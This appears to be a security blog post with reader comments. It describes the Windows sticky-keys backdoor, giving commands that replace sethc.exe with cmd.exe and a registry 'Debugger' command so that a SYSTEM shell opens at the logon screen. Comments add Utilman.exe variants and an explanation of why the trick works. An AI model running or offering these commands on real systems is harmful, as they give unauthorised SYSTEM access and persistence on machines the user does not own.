You can gain a SYSTEM shell on an application you have administrative access on or if you have physical access to the box and can boot to repair disk or linux distro and can change files.
make a copy somewhere of the original on system sethc.exe
copy c:\windows\system32\sethc.exe c:\
cp /mnt/sda3/Windows/System32/sethc.exe /mnt/sda3/sethc.exe
copy cmd.exe into sethc.exe's place
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
or
cp /mnt/sda3/Windows/System32/cmd.exe /mnt/sda3/Windows/System32/sethc.exe
Reboot, hit Shift key 5 times, SYSTEM shell will pop up, do your thing
it would probably be nice to sethc.exe back when you are done.
Hi, I've been following your blog for a long now. I love to learn this subtle things that can pwn you.
ReplyDeleteHowever, some (most) of the time I don't understand why these things happen.
Like in this post, why is it that by changing those things you can gain access. Can you please extend the explanation of why this is possible, or link the "why" so people that is not verse in this subject (like me) and want to know a little bit more can go that extra mile.
Thanks for this useful posts. Keep it going.. ^^,
what are sticky keys:
ReplyDeletehttp://en.wikipedia.org/wiki/StickyKeys
Hi,
ReplyDeleteYou can also achieve same results by setting executable of your choice as Debugger to sethc.exe under Image File Execution options in registry. So in a priv command shell, it would be
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
Same goes for Utilman.exe
Utilman.exe can be launched via Ctrl + U or the Accessibility button on Vista+'s logon screen.
ReplyDeleteOne thing about Sticky keys is that some machines / users have disabled the Shift key five times keyboard shortcut, perhaps because they were gamers and hit shift a lot or had their machine in at the Geek Squad (on every machine they turn that shortcut off). You can also use Left Alt + Left Shift + Print Screen to launch sethc.exe, which I've found to be extremely reliable due to its obscurity.
It also has the added bonus of being useful for rendering any colleague's machine ugly as hell with the shortcut combo and a press of the Enter key :)
That reminds me of some old jokes using videocards-related shortcuts, which would make the screen rotate 90 or 180 degrees, even when screen was locked. ;)
ReplyDeleteWindows checks that the executable is digitally signed by a valid signer (Microsoft), the executable is located in the %systemroot%\system32 directory, and that it is on Microsoft's approved list of executables. This exploit slips through all those cracks. Instead of providing your own custom command shell executable, you just reuse Microsoft's own cmd.exe. The context is what creates this vulnerability. The sethc.exe is for turning on Sticky Keys, an accessibility feature. You replace the exe that puts up the "Do you want to turn on Sticky Keys?" dialog box with a command shell, and BOOM you have pre-auth command line access.
ReplyDeleteThe reason this works is because it slips through the cracks of all of Microsoft's protections. Windows first checks whether the .exe is digitally signed, which cmd.exe is (by Microsoft themselves). It checks that the .exe is located in the system directory (%systemroot%\system32), thus validating Integrity Level and administrator permissions; cmd.exe passes with flying colors. Windows also checks to make sure the executable is on its internal list of Windows protected system files and known to be part of the OS, which cmd.exe again already passes. The part Windows doesn't check for in this case is context. There's no functionality to check that hey, cmd.exe probably doesn't have any good reason to run interactively on the Ctrl+Alt+Del login screen. Windows thinks it's launching the accessibility feature Sticky Keys, but instead it's launching shell code running as LocalSystem.
ReplyDeleteadding a link to mubix's post on the subject
ReplyDeletehttp://www.room362.com/blog/2012/5/25/sticky-keys-and-utilman-against-nla.html
Zdravstvuj,
ReplyDeleteGood post on local escalation. I have been looking into Active Directory Privilege Escalation which is similar in concept, except that instead of local escalation, we are looking at security rights in Active Directory to do admin account privilege escalation to Domain Admin. Your local privilege escalation method sounds like good starting point for eventual Domain Admin privilege escalation.
Speciba Tovarich!
Nik.
Cool trick, I like it :D
ReplyDeleteSome people are calling it a vulnerability, but they seem to be forgetting you need Admin access in the first place...
Yeah, I found this exploit a while back, too. http://www.hadak.org/2010/02/21/howto-pwn-any-windows-box-you-can-touch/
ReplyDelete@Mario Vilas
ReplyDeleteAre you thinking you have to have admin access to do this exploit? If so you are mistaken. The point of this exploit IS to make yourself admin, or change the admin password if you forgot or for more malicious reasons, or even activate the generic default Administrator account.
Basically the reason why this works is because at logon, you are really already logged in as a user...SYSTEM. System IS admin. The exploit uses a txt file that opens under the SYSTEM account, which then you can navigate through FILE-OPEN and replace sethc.exe with a copy of cmd.exe. Then when you open cmd.exe you are opening it under SYSTEM account which is admin AND opens an elevated cmd box. This then allows you to full control over users and accounts, on the local AND in a domain.
This is an exploit/vulnerability.
No because you need to be an admin to swap the files in the first place. Or you do if your system has been locked so that only an admin can write to \system32.
ReplyDelete